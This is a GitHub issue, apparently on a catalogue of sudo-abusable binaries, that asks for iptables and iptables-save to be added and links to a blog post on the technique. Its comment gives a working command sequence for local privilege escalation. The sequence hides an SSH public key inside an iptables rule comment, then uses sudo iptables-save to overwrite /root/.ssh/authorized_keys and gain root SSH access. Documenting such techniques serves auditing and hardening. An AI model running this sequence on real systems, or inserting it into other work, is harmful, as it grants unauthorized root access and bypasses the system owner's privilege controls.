Skip to content

Add iptables and iptables-save #488

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
godylockz opened this issue Jan 19, 2025 · 1 comment
Open

Add iptables and iptables-save #488

godylockz opened this issue Jan 19, 2025 · 1 comment

Comments

@godylockz
Copy link
Contributor

Reference: https://www.shielder.com/blog/2024/09/a-journey-from-sudo-iptables-to-local-privilege-escalation/

@godylockz
Copy link
Contributor Author

Example:

ssh-keygen -t ed25519
TF=$(mktemp -u)
echo '' > $TF
cut -d' ' -f1,2 ~/.ssh/id_ed25519.pub >> $TF
echo 'X' >> $TF
x=$(cat $TF)
x=${x%X}
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "$x"
sudo iptables -S
sudo iptables-save -f /root/.ssh/authorized_keys

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant